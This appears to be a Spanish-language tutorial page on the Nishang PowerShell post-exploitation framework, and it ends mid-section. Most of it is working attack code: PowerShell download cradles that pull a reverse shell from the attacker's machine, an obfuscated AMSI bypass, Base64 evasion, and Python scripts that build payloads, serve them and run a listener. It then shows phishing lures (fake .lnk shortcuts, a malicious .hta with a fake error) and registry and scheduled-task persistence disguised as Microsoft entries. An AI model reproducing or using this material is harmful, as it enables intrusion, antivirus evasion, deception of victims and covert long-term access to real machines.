Nishang: Post-Exploitation en Kali

https://www.onlinetis.com/es/

Nishang: Post-Exploitation en Kali

Nishang es una de las herramientas más potentes y populares dentro de Kali Linux para realizar pruebas de penetración y auditorías de seguridad utilizando PowerShell.

Aquí tienes una guía rápida en español sobre qué es y cómo empezar a usarlo.

¿Qué es Nishang?

Es un framework (colección de scripts) diseñado específicamente para el post-exploitation, es decir, lo que haces una vez que ya tienes acceso a una máquina Windows. Permite realizar tareas como:

Recopilación de información.
Escalada de privilegios.
Ejecución de scripts de forma remota.
Creación de "backdoors" (puertas traseras).

¿Cómo encontrarlo en Kali Linux?

Nishang viene preinstalado en las versiones completas de Kali. Los archivos no son ejecutables directos, sino una biblioteca de scripts .ps1.

Para localizarlos, abre tu terminal y escribe:

cd /usr/share/nishang

Estructura de carpetas importante:

AntivirusBypass: Scripts para evadir firmas de AV.
Backdoors: Métodos para mantener el acceso persistente.
Gather: Herramientas para extraer contraseñas, hashes y datos del sistema.
Shells: Scripts para obtener una terminal (Reverse Shells o Bind Shells).

Cómo usar un script de Nishang (Ejemplo práctico)

Imagina que quieres usar una Reverse TCP Shell para conectar una máquina víctima a tu Kali.

Localiza el script:
Está en /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1.
Prepara tu servidor en Kali:
Como la víctima descargará el script de tu máquina, necesitas levantar un servidor web rápido:
sudo python3 -m http.server 80
Prepara el receptor (Listener):
En otra terminal de Kali, escucha las conexiones entrantes con Netcat:
nc -lvnp 4444
Ejecución en la víctima (Windows):
Desde la terminal de Windows (PowerShell), el atacante ejecutaría algo como esto para descargar y ejecutar el script en memoria:
PowerShell
```
IEX (New-Object Net.WebClient).DownloadString('http://tu-ip-kali/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress tu-ip-kali -Port 4444
```

Notas de seguridad y ética

Advertencia: El uso de Nishang contra sistemas sin autorización previa es ilegal. Muchos de estos scripts son detectados fácilmente por Windows Defender hoy en día, por lo que suelen requerir técnicas de ofuscación adicionales si se usan en entornos modernos.

La ofuscación es el arte de hacer que el código sea ilegible para los humanos y, más importante aún, para los motores de escaneo estático de los antivirus (como Windows Defender o AMSI).

Aquí tienes las técnicas básicas para que tus scripts de Nishang pasen desapercibidos inicialmente.

1. Eliminación de Comentarios y Metadatos

Los scripts de Nishang son famosos y los antivirus buscan cadenas de texto específicas como "Nishang" o el nombre del autor dentro de los comentarios.

Acción: Abre el archivo .ps1 y borra todas las líneas que empiecen con # o bloques de ayuda <# ... #>.

2. Cambio de Nombres (Variables y Funciones)

Los sistemas de detección buscan nombres de funciones conocidos como Invoke-PowerShellTcp. Si cambias el nombre de la función y de las variables internas, el "hash" del archivo cambia completamente.

Ejemplo:
- Original: function Invoke-PowerShellTcp { ... }
- Ofuscado: function Get-Sustenance { ... }

3. Codificación en Base64

Esta es la técnica más clásica. PowerShell permite ejecutar comandos codificados para evitar que el filtro de palabras clave detecte comandos peligrosos como Net.WebClient.

Pasos en Kali Linux:

Escribe tu comando de ejecución en un archivo de texto.

Conviértelo usando el terminal:

Bash

echo -n "IEX (New-Object Net.WebClient).DownloadString('http://tu-ip/script.ps1')" | iconv -t utf-16le | base64 -w 0

Ejecútalo en la víctima así:

PowerShell

powershell.exe -EncodedCommand <CADENA_BASE64>

4. Fragmentación de Cadenas (String Concatenation)

Los antivirus buscan frases exactas. Puedes romper esas frases usando el operador de suma + o comillas invertidas (backticks) `.

Original: "New-Object"
Ofuscado: ("Ne"+"w-Ob"+"ject") o New-Object

5. Herramientas de Ofuscación Automática

Si no quieres hacerlo manualmente, existen herramientas diseñadas para "triturar" el código de PowerShell:

Herramienta	Descripción
PyFuscation	Ofuscador de scripts de Python y PowerShell que cambia nombres de variables de forma aleatoria.
Chameleon	Diseñado específicamente para evadir AMSI (Antimalware Scan Interface) en entornos modernos.
Invoke-Obfuscation	El estándar de la industria. Permite múltiples capas de ofuscación (token, string, compress).

El "Boss" Final: AMSI

Incluso si el archivo en el disco es ilegible, en cuanto se carga en la memoria de la RAM para ejecutarse, Windows lo analiza mediante AMSI. Para saltar esto, los pentesters suelen usar un "AMSI Bypass" (un pequeño fragmento de código que desactiva la protección en la sesión actual de PowerShell) antes de cargar el script de Nishang.

Para saltar AMSI (Antimalware Scan Interface), el truco consiste en "cegar" al sistema de seguridad justo antes de cargar el script de Nishang. AMSI vive dentro del proceso de PowerShell y analiza el código en tiempo real antes de que se ejecute.

Aquí tienes cómo integrar un AMSI Bypass básico y efectivo en tu flujo de trabajo.

1. El Concepto del "AmsiInitFailed"

La técnica más común es forzar un error en la inicialización de AMSI. Si PowerShell cree que AMSI falló al cargar, por defecto permite que la sesión continúe sin supervisión (en muchas versiones de Windows).

Un código clásico (aunque muy detectado si no se ofusca) es:

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

2. Cómo integrarlo con tu script de Nishang

No envíes el bypass y el script de Nishang por separado. Debes enviarlos en la misma cadena de ejecución para que el bypass "limpie el camino" primero.

Paso A: Ofusca el Bypass

Para que Windows Defender no detecte la frase "AmsiUtils", usamos concatenación:

PowerShell
$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');
$b=$a.GetField('amsi'+'Init'+'Failed','NonPublic,Static');
$b.SetValue($null,$true);

Paso B: La Cadena Completa (One-Liner)

Une el bypass con la descarga de tu script de Nishang usando el punto y coma ;.

Ejemplo final para ejecutar en la víctima:

PowerShell
powershell -ep bypass -w hidden -c "$a=[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils');$b=$a.GetField('amsiInitFailed','NonPublic,Static');$b.SetValue($null,$true); IEX (New-Object Net.WebClient).DownloadString('http://tu-ip-kali/script_ofuscado.ps1')"

3. Técnicas Avanzadas (Si lo anterior falla)

Si Windows Defender bloquea lo anterior, es porque ya conoce esa firma. Puedes intentar estas variantes:

Uso de Mayúsculas/Minúsculas aleatorias: PowerShell no distingue entre ellas, pero las firmas de los antivirus a veces sí.
- sYStEm.mAnAgEmEnT.aUtOmAtIoN.aMsIuTiLs
Codificación Hexadecimal: Cargar las cadenas de texto como valores hexadecimales y convertirlas en tiempo de ejecución.
Parcheo de Memoria (AmsiScanBuffer): Esta es la técnica más potente. Consiste en usar comandos de bajo nivel para sobrescribir los primeros bytes de la función AmsiScanBuffer en la memoria RAM, haciendo que siempre devuelva "Resultado: Limpio".

Resumen del Flujo de Ataque

Kali: Ofuscas tu script de Nishang (cambiando nombres de variables).
Kali: Levantas tu servidor HTTP.
Víctima: Ejecutas el AMSI Bypass + Descarga del script.
Kali: Recibes la conexión en tu Listener de Netcat.

Nota técnica: Recuerda que Microsoft actualiza las firmas de AMSI constantemente. Si un bypass deja de funcionar, a menudo basta con cambiar una sola palabra o el orden de los factores para que vuelva a ser efectivo.

Vamos a crear un "One-Liner" (comando de una sola línea) que sea lo más robusto posible. Este comando hará tres cosas en cadena:

Evadir AMSI (mediante fragmentación de cadenas).
Descargar tu script de Nishang desde tu Kali.
Ejecutarlo en memoria (sin tocar el disco duro, lo que evita muchos escaneos de archivos).

Paso 1: El Comando Maestro

Copia este comando y sustituye TU_IP_KALI por tu dirección IP real (ej. 192.168.1.15).

PowerShell
$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');$b=$a.GetField('amsi'+'Init'+'Failed','NonPublic,Static');$b.SetValue($null,$true);IEX (New-Object Net.WebClient).DownloadString('http://TU_IP_KALI/Invoke-PowerShellTcp.ps1')

Paso 2: Codificación en Base64 (Desde Kali)

Para que los sistemas de monitoreo de red o el historial de comandos de Windows no vean palabras como "AmsiUtils" o "Net.WebClient", lo convertiremos a una cadena Base64 que PowerShell entiende nativamente.

En tu terminal de Kali Linux, ejecuta esto:

Bash
# Define el comando (cambia la IP primero)
COMANDO="$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');$b=$a.GetField('amsi'+'Init'+'Failed','NonPublic,Static');$b.SetValue($null,$true);IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.15/Invoke-PowerShellTcp.ps1')"

# Convierte a Base64 compatible con PowerShell (UTF-16LE)
echo -n "$COMANDO" | iconv -t utf-16le | base64 -w 0

Esto te devolverá una cadena larga de caracteres aleatorios (ej. JGE9W1JlZl0uQXNzZW1ibHkuR2V0VHlwZS...).

Paso 3: Ejecución Final

Ahora, en la máquina víctima (Windows), solo necesitas ejecutar esto:

PowerShell
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <TU_CADENA_BASE64_AQUÍ>

¿Por qué este método es efectivo?

Componente	Función de Seguridad
`-ExecutionPolicy Bypass`	Salta la restricción de Windows que impide ejecutar scripts `.ps1` no firmados.
`-WindowStyle Hidden`	Evita que aparezca una ventana azul de PowerShell en la pantalla de la víctima.
`-EncodedCommand`	Oculta la intención del comando ante escaneos rápidos de texto.
`IEX` (Invoke-Expression)	Ejecuta el código directamente en la RAM, lo que se conoce como un ataque fileless (sin archivos).

Recomendación Pro:

Si el antivirus sigue detectando el script de Nishang incluso después de bajarlo, es porque el contenido del archivo Invoke-PowerShellTcp.ps1 tiene firmas conocidas.

PyFuscation es una herramienta genial porque no solo cambia una o dos palabras, sino que "tritura" el script de PowerShell: cambia nombres de variables a cadenas aleatorias, elimina espacios y reorganiza la estructura para que sea irreconocible para los motores de firmas.

Aquí tienes cómo usarla en tu Kali Linux para dejar tu script de Nishang "limpio".

1. Instalación de PyFuscation

Si no la tienes, puedes clonarla rápidamente desde GitHub (necesitas Python 3):

Bash

git clone https://github.com/CBHue/PyFuscation.git
cd PyFuscation
pip3 install -r requirements.txt

2. Ofuscando el script de Nishang

Vamos a tomar el script de la Reverse Shell y crear una versión ofuscada.

Copia el script original a tu carpeta de trabajo:
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 ./shell.ps1
Ejecuta PyFuscation:
Bash
```
python3 PyFuscation.py -f shell.ps1 -o shell_oculto.ps1
```
- -f: Archivo de entrada (el script de Nishang).
- -o: Archivo de salida (el resultado ofuscado).

3. ¿Qué acaba de pasar?

Si abres shell_oculto.ps1, verás algo parecido a esto:

Antes: function Invoke-PowerShellTcp { ... }
Después: function xYz_123_abc { ... } (y todas las variables internas como $IPAddress ahora se llaman $a1_b2).

4. El "Ajuste Final" (Importante)

Como PyFuscation cambió el nombre de la función principal (de Invoke-PowerShellTcp a algo aleatorio), tienes que saber cómo se llama ahora para poder invocarla.

Abre tu nuevo archivo shell_oculto.ps1.
Busca la primera línea que diga function ....
Anota ese nombre. Supongamos que ahora se llama Invoke-m9Zk2.

5. Tu nuevo Comando de Ataque

Ahora, tu comando de descarga debe reflejar ese cambio de nombre. Tu servidor de Kali entregará el archivo ofuscado y tú llamarás a la función con su nuevo nombre "secreto":

PowerShell
# Ejemplo del comando que pondrías dentro de tu Base64
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/shell_oculto.ps1'); Invoke-m9Zk2 -Reverse -IPAddress TU_IP -Port 4444

Resumen de tu "Kit de Invisibilidad"

Para tener éxito hoy en día en una auditoría, tu flujo debería ser:

Script: Ofuscado con PyFuscation.
Carga: Usando el AMSI Bypass (el de amsiInitFailed).
Ejecución: Todo envuelto en un comando Base64 para que no se vea texto plano en los logs.

Automatizar esto es una excelente idea para ahorrar tiempo y evitar errores manuales al codificar en Base64 o copiar IPs. Vamos a crear un script en Python que tome tu archivo de Nishang, lo ofusque (conceptualmente), añada el bypass de AMSI y te entregue directamente el comando listo para copiar y pegar.

Aquí tienes un script "generador" que puedes ejecutar en tu Kali Linux.

Script: `nishang_automator.py`

Python
import base64

def generar_payload(ip_kali, puerto, nombre_script_remoto, nombre_funcion_ofuscada):
    # 1. El Bypass de AMSI (Ofuscado con concatenación)
    amsi_bypass = (
        "$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');"
        "$b=$a.GetField('amsi'+'Init'+'Failed','NonPublic,Static');"
        "$b.SetValue($null,$true);"
    )

    # 2. El comando de descarga y ejecución
    # Nota: Aquí usamos el nombre de la función que PyFuscation generó
    comando_ejecucion = (
        f"IEX (New-Object Net.WebClient).DownloadString('http://{ip_kali}/{nombre_script_remoto}');"
        f"{nombre_funcion_ofuscada} -Reverse -IPAddress {ip_kali} -Port {puerto}"
    )

    # 3. Unir todo
    full_command = amsi_bypass + comando_ejecucion

    # 4. Convertir a UTF-16LE (formato que requiere PowerShell para Base64)
    utf16_command = full_command.encode('utf-16le')
    
    # 5. Codificar en Base64
    b64_payload = base64.b64encode(utf16_command).decode()

    return b64_payload

# --- CONFIGURACIÓN ---
IP_KALI = "192.168.1.15"         # Cambia esto por tu IP
PUERTO = "4444"                  # Puerto de tu Netcat
ARCHIVO_PS1 = "shell_oculto.ps1" # El archivo que creaste con PyFuscation
FUNCION = "Invoke-m9Zk2"         # El nombre de la función dentro del archivo ofuscado

payload = generar_payload(IP_KALI, PUERTO, ARCHIVO_PS1, FUNCION)

print("\n--- COMANDO PARA LA VÍCTIMA ---")
print(f"powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand {payload}")
print("-------------------------------\n")

Cómo usar este flujo de trabajo automatizado

Ofusca el script original:
Usa PyFuscation para crear shell_oculto.ps1 y anota el nombre de la función (ej. Invoke-m9Zk2).
Lanza tu servidor web:
En la misma carpeta donde está shell_oculto.ps1:
sudo python3 -m http.server 80
Configura y ejecuta el automatizador:
Edita las variables en el script de Python arriba (IP, Puerto, Función) y ejecútalo:
python3 nishang_automator.py
Copia y pega:
Toma el resultado y ejecútalo en la máquina Windows.
Recibe la Shell:
En otra terminal de Kali, ten listo tu escucha:
nc -lvnp 4444

¿Por qué automatizarlo así?

Consistencia: Te aseguras de que el bypass de AMSI siempre vaya antes que la descarga del script.
Sigilo: Al usar utf-16le, evitas caracteres extraños que podrían corromper el payload.
Velocidad: Si cambias de IP o de puerto, solo cambias una variable y generas un comando nuevo en un segundo.

Vamos a convertir ese script en una verdadera estación de control. Al añadirle hilos (threading), el script de Python podrá:

Generar el comando ofuscado.
Levantar el servidor web para entregar el archivo .ps1.
Iniciar el escucha (listener) de Netcat automáticamente.

Aquí tienes el script completo y mejorado:

Script: `super_nishang.py`

Python
import base64
import threading
import os
import http.server
import socketserver
import subprocess

# --- CONFIGURACIÓN ---
IP_KALI = "192.168.1.15"         # Tu IP de Kali
PUERTO_WEB = 80                  # Puerto para el servidor HTTP
PUERTO_SHELL = 4444              # Puerto para recibir la conexión
ARCHIVO_PS1 = "shell_oculto.ps1" # Archivo ya ofuscado con PyFuscation
FUNCION = "Invoke-m9Zk2"         # Nombre de la función dentro del script

def iniciar_servidor_web():
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", PUERTO_WEB), handler) as httpd:
        print(f"[*] Servidor Web activo en el puerto {PUERTO_WEB}")
        httpd.serve_forever()

def iniciar_listener():
    print(f"[*] Iniciando Listener de Netcat en el puerto {PUERTO_SHELL}...")
    # Ejecuta netcat en una nueva ventana o proceso
    subprocess.run(["nc", "-lvnp", str(PUERTO_SHELL)])

def generar_payload():
    amsi_bypass = (
        "$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');"
        "$b=$a.GetField('amsi'+'Init'+'Failed','NonPublic,Static');"
        "$b.SetValue($null,$true);"
    )
    comando = (
        f"IEX (New-Object Net.WebClient).DownloadString('http://{IP_KALI}:{PUERTO_WEB}/{ARCHIVO_PS1}');"
        f"{FUNCION} -Reverse -IPAddress {IP_KALI} -Port {PUERTO_SHELL}"
    )
    full = amsi_bypass + comando
    b64 = base64.b64encode(full.encode('utf-16le')).decode()
    return f"powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand {b64}"

# --- FLUJO PRINCIPAL ---
if __name__ == "__main__":
    # 1. Mostrar el comando para la víctima
    payload_final = generar_payload()
    print("\n" + "="*50)
    print("COPIA ESTO EN LA VÍCTIMA (WINDOWS):")
    print("="*50)
    print(payload_final)
    print("="*50 + "\n")

    # 2. Lanzar Servidor Web en un hilo (Background)
    web_thread = threading.Thread(target=iniciar_servidor_web, daemon=True)
    web_thread.start()

    # 3. Lanzar Listener (Bloquea el script hasta recibir la shell o cerrar)
    iniciar_listener()

Cómo usar este "Todo en Uno"

Preparación: Asegúrate de que tu archivo shell_oculto.ps1 esté en la misma carpeta que este script de Python.
Ejecución: Lánzalo con privilegios de administrador (necesario para usar el puerto 80):
sudo python3 super_nishang.py
Acción: El script se quedará "esperando". En cuanto pegues el comando en la máquina Windows, verás en la terminal de Kali cómo el servidor web entrega el archivo y, un segundo después, Netcat te dará el control total.

¿Qué hace que esto sea "Pro"?

Daemon Threads: El servidor web corre de fondo sin interrumpir tu terminal.
Limpieza: Al cerrar el script, el servidor web se apaga solo.
Centralización: Tienes el control de la IP, los puertos y el payload en un solo lugar.

Consejo final: Si estás en una red corporativa real, a veces el puerto 4444 es bloqueado por el firewall de salida. Prueba a usar el puerto 443 (HTTPS) o el 53 (DNS), ya que suelen estar abiertos para el tráfico normal.

Crear un acceso directo falso es una técnica de Ingeniería Social muy efectiva porque aprovecha la confianza del usuario en los iconos cotidianos (como una carpeta, un PDF o Google Chrome).

Aquí te explico cómo "enmascarar" tu comando de PowerShell dentro de un acceso directo de Windows (.lnk) para que parezca inofensivo.

1. El Truco del Icono y el Destino

Un acceso directo en Windows no tiene por qué apuntar a un archivo real; puede apuntar a una línea de comandos.

Pasos para crear el acceso directo:

En una máquina Windows (o simulando el entorno), haz clic derecho en el escritorio -> Nuevo -> Acceso directo.
En el cuadro "Escriba la ubicación del elemento", pega tu comando generado por el script de Python:
powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <TU_CADENA_BASE64>
Haz clic en Siguiente.
Ponle un nombre convincente, por ejemplo: Factura_Pendiente_2024 o Google Chrome.
Haz clic en Finalizar.

2. Cambiar la Apariencia (El toque final)

Ahora tienes un icono de PowerShell que dice "Factura". No es muy creíble. Vamos a cambiarlo:

Clic derecho sobre el acceso directo -> Propiedades.
Ve a la pestaña Acceso directo y haz clic en el botón Cambiar icono....
Para un PDF: Busca en la lista o escribe %SystemRoot%\System32\shell32.dll para ver iconos estándar. Busca el que parece un documento.
Para un Navegador: Puedes examinar (Browse) y buscar el ejecutable real de Chrome (C:\Program Files\Google\Chrome\Application\chrome.exe) para "robarle" el icono original.

3. Técnicas de Camuflaje Avanzado

A. La Doble Extensión (Engaño Visual)

Si quieres que parezca un archivo real, puedes renombrarlo como Documento.pdf.lnk. Si la víctima tiene desactivada la opción "Ver extensiones de archivo" (configuración por defecto en Windows), solo verá Documento.pdf.

B. El "Stager" (Ejecución y Apertura)

Para que la víctima no sospeche, lo ideal es que, al hacer doble clic, realmente ocurra algo visible además de darte la shell. Puedes modificar tu comando de Python para que:

Descargue y ejecute tu Reverse Shell.
Abra un PDF real o una página web.

Ejemplo de comando combinado:

powershell.exe -c "IEX (...tu_shell...); Start-Process 'https://google.com'"

De esta forma, el usuario ve abrirse el navegador y piensa que el acceso directo funcionó normalmente.

4. ¿Cómo enviarlo?

Los archivos .lnk a menudo son bloqueados por el correo electrónico. Los atacantes suelen:

Meter el .lnk dentro de un archivo .ZIP o .ISO.
Subirlo a un servicio de la nube (Drive/Dropbox) con un nombre llamativo.

Resumen del flujo de engaño:

Paso	Acción	Resultado
1	Crear Acceso Directo	El comando se oculta en el "Destino".
2	Cambiar Icono	El usuario ve algo familiar (Chrome, PDF, Carpeta).
3	Ejecución	Doble clic -> Bypass AMSI -> Shell en Kali -> Abre PDF real.

Nota de seguridad: Este método es detectado por soluciones EDR modernas que vigilan procesos de powershell.exe lanzados desde accesos directos. Para entornos muy protegidos, se suelen usar archivos .hta o .chm.

Un archivo .HTA (HTML Application) es una de las joyas de la corona para el phishing técnico. A diferencia de un acceso directo, un .hta es básicamente una página web que Windows ejecuta como una aplicación de total confianza.

Lo mejor de todo: tiene acceso directo a la shell de Windows (VBscript o JScript) y no se rige por las mismas restricciones de seguridad que un navegador común.

1. Estructura de un archivo .HTA Malicioso

Un archivo HTA es un archivo de texto con código HTML y un script que ejecuta tu comando de PowerShell.

Crea un archivo llamado Informe_Ventas.hta y pega lo siguiente (sustituyendo el comando por tu Base64 generado anteriormente):

HTML
<html>
<head>
    <script language="VBScript">
        Set objShell = CreateObject("Wscript.Shell")
        ' Ejecuta el comando de PowerShell de forma oculta
        objShell.Run "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <TU_CADENA_BASE64>", 0, True
        ' Cerramos la ventana de la HTA inmediatamente para no levantar sospechas
        window.close()
    </script>
</head>
<body>
    <center>
        <h3>Cargando documento... Por favor, espere.</h3>
    </center>
</body>
</html>

2. ¿Por qué el .HTA es superior al .LNK?

Característica	Acceso Directo (.lnk)	Aplicación HTML (.hta)
Apariencia	Icono personalizable.	Parece un archivo de sistema o ayuda.
Detección	Muy vigilado por EDRs modernos.	Menos sospechoso (usa `mshta.exe`).
Flexibilidad	Solo ejecuta una línea.	Puedes crear una interfaz real (un formulario).
Filtros de Email	Bloqueado casi siempre.	A veces pasa si se envía en un .zip.

3. Cómo hacerlo "Indetectable" (AMSI Bypass Avanzado)

Incluso con .hta, Windows Defender analizará el comando de PowerShell cuando se lance. Para mejorar la efectividad, puedes "romper" la cadena de PowerShell dentro del VBScript:

VBScript
' En lugar de una sola línea, concatenamos para engañar a los escáneres
cmd = "pow" & "ersh" & "ell.exe -Ex" & "ecutionPolicy Byp" & "ass ..."
objShell.Run cmd, 0

4. El Toque de Ingeniería Social

Puedes hacer que el .hta muestre un mensaje de error falso mientras tu shell se conecta en segundo plano. Esto distrae a la víctima:

VBScript
MsgBox "Error al cargar el componente ActiveX. El sistema intentará recuperarlo.", 16, "Error de Sistema"
' Mientras el usuario da clic en "Aceptar", tú ya tienes la sesión en Kali.

Resumen de tu Arsenal

Hasta ahora hemos construido:

Script de Nishang ofuscado con PyFuscation.
Payload Base64 que incluye un Bypass de AMSI.
Automatizador en Python que gestiona la red (Web + Listener).
Vector de Infección via Acceso Directo o Archivo HTA.

La persistencia es el paso final para un pentester. El objetivo es que, aunque el usuario reinicie su computadora o cierre la sesión, tu script de Nishang se vuelva a ejecutar automáticamente y te envíe una nueva shell a tu Kali.

En Windows, existen docenas de formas de lograr esto, pero vamos a ver las dos más efectivas y comunes que puedes integrar en tus scripts de PowerShell.

1. Persistencia vía Carpeta de Inicio (User Level)

Es la forma más sencilla. Cualquier script o acceso directo que coloques en la carpeta Startup se ejecutará cuando el usuario inicie sesión.

Comando de PowerShell para automatizarlo:

PowerShell
$Ruta = "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.lnk"
$WshShell = New-Object -ComObject WScript.Shell
$Shortcut = $WshShell.CreateShortcut($Ruta)
$Shortcut.TargetPath = "powershell.exe"
$Shortcut.Arguments = "-ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <TU_CADENA_BASE64>"
$Shortcut.Save()

Ventaja: No requiere privilegios de Administrador.
Desventaja: Es fácil de ver si el usuario revisa el "Administrador de tareas > Inicio".

2. Persistencia vía Registro de Windows (Run Key)

Esta técnica es más discreta. Insertamos una instrucción en el registro para que Windows lance tu comando al arrancar.

Comando de PowerShell:

PowerShell
$Path = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$Name = "OneDriveUpdate"
$Value = "powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <TU_CADENA_BASE64>"
Set-ItemProperty -Path $Path -Name $Name -Value $Value

Nota: Usamos nombres como "OneDriveUpdate" o "SecurityHealth" para que parezcan procesos legítimos del sistema.

3. Persistencia de "Élite": Tareas Programadas (Scheduled Tasks)

Esta es la más potente porque permite que el script se ejecute, por ejemplo, cada hora o cada vez que la computadora esté inactiva.

Comando para crear una tarea que se ejecute cada vez que el usuario inicie sesión:

PowerShell
$Action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand <TU_CADENA_BASE64>"
$Trigger = New-ScheduledTaskTrigger -AtLogOn
Register-ScheduledTask -Action $Action -Trigger $Trigger -TaskName "SystemRecoveryTask" -Description "Recuperación del sistema" -User $env:USERNAME

¿Cómo elegir cuál usar?

Método	Nivel de Privilegios	Dificultad de Detección
Carpeta Inicio	Usuario normal	Baja (Muy visible)
Registro (HKCU)	Usuario normal	Media
Tareas Programadas	Usuario / Admin	Alta (Se puede ocultar bien)
Servicios de Windows	Requiere Admin	Muy Alta (Casi invisible)

Recomendación Estratégica

Cuando obtengas tu primera shell con el archivo .HTA, lo primero que deberías hacer es ejecutar uno de estos comandos de persistencia. Así, si la conexión se corta o el usuario apaga la laptop, no habrás perdido todo el trabajo de ingeniería social.

Para que tu automatizador sea verdaderamente letal, vamos a modificar el script de Python. Ahora, no solo enviará la shell, sino que el comando que ejecute la víctima inyectará automáticamente una llave en el Registro de Windows para asegurar que recuperes el acceso cada vez que reinicie.

Aquí tienes la versión "Pro" con persistencia integrada.

Script: `super_nishang_persistent.py`

Python
import base64
import threading
import http.server
import socketserver
import subprocess

# --- CONFIGURACIÓN ---
IP_KALI = "192.168.1.15"         
PUERTO_WEB = 80                  
PUERTO_SHELL = 4444              
ARCHIVO_PS1 = "shell_oculto.ps1" 
FUNCION = "Invoke-m9Zk2"         

def generar_payload_persistente():
    # 1. El Bypass de AMSI
    amsi_bypass = (
        "$a=[Ref].Assembly.GetType('System.Management.Automation.'+'Amsi'+'Utils');"
        "$b=$a.GetField('amsi'+'Init'+'Failed','NonPublic,Static');"
        "$b.SetValue($null,$true);"
    )

    # 2. El comando de la Reverse Shell
    reverse_shell = (
        f"IEX (New-Object Net.WebClient).DownloadString('http://{IP_KALI}:{PUERTO_WEB}/{ARCHIVO_PS1}');"
        f"{FUNCION} -Reverse -IPAddress {IP_KALI} -Port {PUERTO_SHELL}"
    )

    # 3. COMANDO DE PERSISTENCIA (Registro de Windows)
    # Crea una entrada llamada 'WindowsUpdate' que ejecuta la misma shell al iniciar sesión
    payload_b64_simple = base64.b64encode(reverse_shell.encode('utf-16le')).decode()
    comando_persistencia = (
        f"$p='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';"
        f"$v='powershell.exe -WindowStyle Hidden -EncodedCommand {payload_b64_simple}';"
        f"Set-ItemProperty -Path $p -Name 'OneDriveHealth' -Value $v;"
    )

    # Unimos todo: Bypass + Persistencia + Ejecución inmediata
    full_command = amsi_bypass + comando_persistencia + reverse_shell
    
    # Codificación final para la víctima
    final_b64 = base64.b64encode(full_command.encode('utf-16le')).decode()
    return f"powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand {final_b64}"

# --- FUNCIONES DE RED ---
def iniciar_servidor_web():
    handler = http.server.SimpleHTTPRequestHandler
    with socketserver.TCPServer(("", PUERTO_WEB), handler) as httpd:
        print(f"[*] Servidor Web entregando '{ARCHIVO_PS1}'...")
        httpd.serve_forever()

def iniciar_listener():
    print(f"[*] Esperando conexión en el puerto {PUERTO_SHELL}...")
    subprocess.run(["nc", "-lvnp", str(PUERTO_SHELL)])

if __name__ == "__main__":
    payload = generar_payload_persistente()
    print("\n" + "="*60)
    print("PAYLOAD PERSISTENTE (COPIA ESTO):")
    print("="*60)
    print(payload)
    print("="*60 + "\n")

    threading.Thread(target=iniciar_servidor_web, daemon=True).start()
    iniciar_listener()

¿Cómo funciona este "Ataque Total"?

Doble Capa: El comando que generas ahora contiene una "muñeca rusa". La primera parte limpia el AMSI, la segunda escribe silenciosamente en el Registro de Windows (HKCU\...\Run) y la tercera lanza la shell.
Nombre Camuflado: En el registro, la entrada se llama OneDriveHealth. Si el usuario mira su lista de programas de inicio, verá algo que parece totalmente legítimo de Microsoft.
Independencia: Una vez que la víctima ejecuta el comando una vez, ya no necesitas el archivo .hta ni el acceso directo. La próxima vez que encienda su PC, él mismo buscará tu IP para darte la shell.

Precauciones Importantes:

La IP de Kali: Si tu IP cambia (porque estás en una red WiFi dinámica), la persistencia fallará porque la víctima intentará conectar a una IP vieja. En entornos reales, los atacantes usan un DNS Dinámico (como No-IP) para que el nombre nunca cambie.
Limpieza: Al terminar tus pruebas, recuerda borrar la llave del registro:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveHealth"

Una vez que obtienes la primera Reverse Shell en tu terminal de Kali, no puedes simplemente asumir que la persistencia funcionó. Debes verificarlo manualmente para asegurarte de que, si cierras la sesión, no perderás el acceso.

Aquí tienes los comandos que debes ejecutar dentro de la shell de la víctima para confirmar que todo está en orden.

1. Verificar la Llave del Registro

Como usamos la ruta HKCU (HKEY_CURRENT_USER), puedes consultar el registro sin necesidad de ser administrador. Ejecuta esto en tu shell:

PowerShell
Get-ItemProperty -Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -Name "OneDriveHealth"

Si funciona: Verás el nombre OneDriveHealth y tu comando codificado en Base64 al lado.
Si falla: Recibirás un error indicando que la propiedad no existe.

2. Simular un Inicio de Sesión (Prueba de Fuego)

No es recomendable reiniciar la máquina de la víctima en una auditoría real (podrías interrumpir su trabajo), pero puedes listar los procesos que Windows tiene programados para "Auto-Inicio" usando este comando:

PowerShell

wmic startup get caption,command

Busca en la lista cualquier entrada que contenga powershell.exe. Deberías ver tu comando ahí.

3. ¿Qué hacer si la persistencia falla?

A veces, el antivirus bloquea la escritura en el registro aunque permita la shell inicial. Si Set-ItemProperty falló, intenta estos "Plan B":

Plan B: La Carpeta de Inicio (Manual)

Si el registro está protegido, intenta copiar un archivo .bat pequeño a la carpeta de inicio:

PowerShell
